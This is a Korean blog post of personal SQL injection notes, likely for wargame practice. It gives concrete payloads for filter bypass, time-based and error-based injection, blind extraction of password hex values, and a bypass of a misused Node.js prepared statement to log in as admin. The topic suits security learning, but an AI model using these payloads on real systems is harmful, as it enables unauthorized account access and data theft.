그냥 생각날때 마다 적는 글 (추가 예정)
1. admin 우회
admin이 필터링 된 경우
- 16진수, 2진수 변환 (이때, 쿼터로 감싸져있으면 string으로 인식되기 때문에 쿼터가 없는곳에 적용 가능)
- Admin 등 대문자 우회
2. db 파악
select * from user where id='admin' limit 1 procedure analyse();
procedure analyse()를 limit절과 함께 사용
information_schema 테이블도 사용할 수 있다
information_schema 테이블엔 db관련 내용들이 담겨져있다.
아래는 information_schema테이블들에 대해 설명하고 있다.
쓸만한건 information_schema.schemata랑 tables 이런거?
공식문서에 잘 정리되어있다.
https://dev.mysql.com/doc/mysql-infoschema-excerpt/8.0/en/information-schema-table-reference.html
3. TimeBasedSql Injection
보통 sleep()함수를 많이 사용하는데 sleep함수가 필터링 된 경우엔 benchmark함수를 사용해 대신할 수 있다.
ex) benchmark(100000000,md5('a'))
if문과 같이쓸땐 md5('a')자리에 false나 true가 오게하면 된다.
4. Error Based SQL Injection
서브쿼리에 select 1 union select 2를 하면은 서브쿼리에 다중 결과값이 반환되어 오류가 난다.
5. 한국어가 문자로 들어가 있을 때
한국어가 들어가있을 때 이진수나 ord대신 unicode와 hex값을 사용해서 찾아야한다.
pw ='' or id='admin' and substr(hex(pw),1,1)='{bit}'--
hex값을 찾았다면은 한국어 한문자당 hex값 4자이기때문에 4자리씩 끊어서 유니코드 디코더로 돌린다.
ex) \u0000\uC6B0\u0000\uC655\u0000\uAD73
예시 문제 : https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php
6. @local_variable
@local_variable로 변수설정이 가능하다.
pw='' or (select @a:=pw where id='admin') union select @a--
union과 같이쓰면 이렇게 연계 가능하다.
select @a 는 리턴값이 없기때문에 union과 같이써야 의미있을듯 하다.
7. hex
당연한거긴 한데 몇번 헷갈려서 적는다
일단 hex()함수로 변환하면 sql에선 0x가 안붙는다
그래서 파이썬으로 exploit코드 짜서 돌릴려면 파이썬에선 hex(ord('a')).split('0x')[1] 이렇게 해야한다.
bin()도 당연 똑같다
그리고 'a' = 0x67 이렇게 인식되기에 hex랑 비교하는게 아니라 문자나 다른 진수랑 비교할땐 0x붙여줘야 한다.
8. Prepared Statement 우회
흔히 sqli를 막으려면 prepared statement를 쓰라고 한다.
하지만 잘못된 prepared statement는 우회가 가능하다.
js에서 prepared statement를 쓸 때,
db.query("SELECT * FROM users WHERE username = ? AND password = ?", [username, password]
다음과 같이 사용할 시에 우회가 가능하다.
username=admin,password[password]=1
위와 같이 요청을 보낼 시 다음과 같이 쿼리가 변경된다.
SELECT * FROM users WHERE username = admin AND password = `password` = 1
password의 키값으로 준 password는 ``문자에 감싸져 마치 password 컬럼과 같은 표현식이 된다.
그러므로 password는 password컬럼과 같고 1(True)와도 같기에 admin id가 리턴된다.
참고할만할 URL들
- rubiya님이 정리한 sqli정리
'Web Hacking > Information' 카테고리의 다른 글
LFI로 할 수 있는거 (0) | 2024.07.12 |
---|---|
Command Injection (0) | 2024.05.01 |
NoSQL Injection - MongoDB (0) | 2024.04.10 |
Non-Relational DBMS (비관계형 데이터베이스) (0) | 2024.04.10 |
Cross Site Request Forgery (CSRF) 취약점 (0) | 2024.04.04 |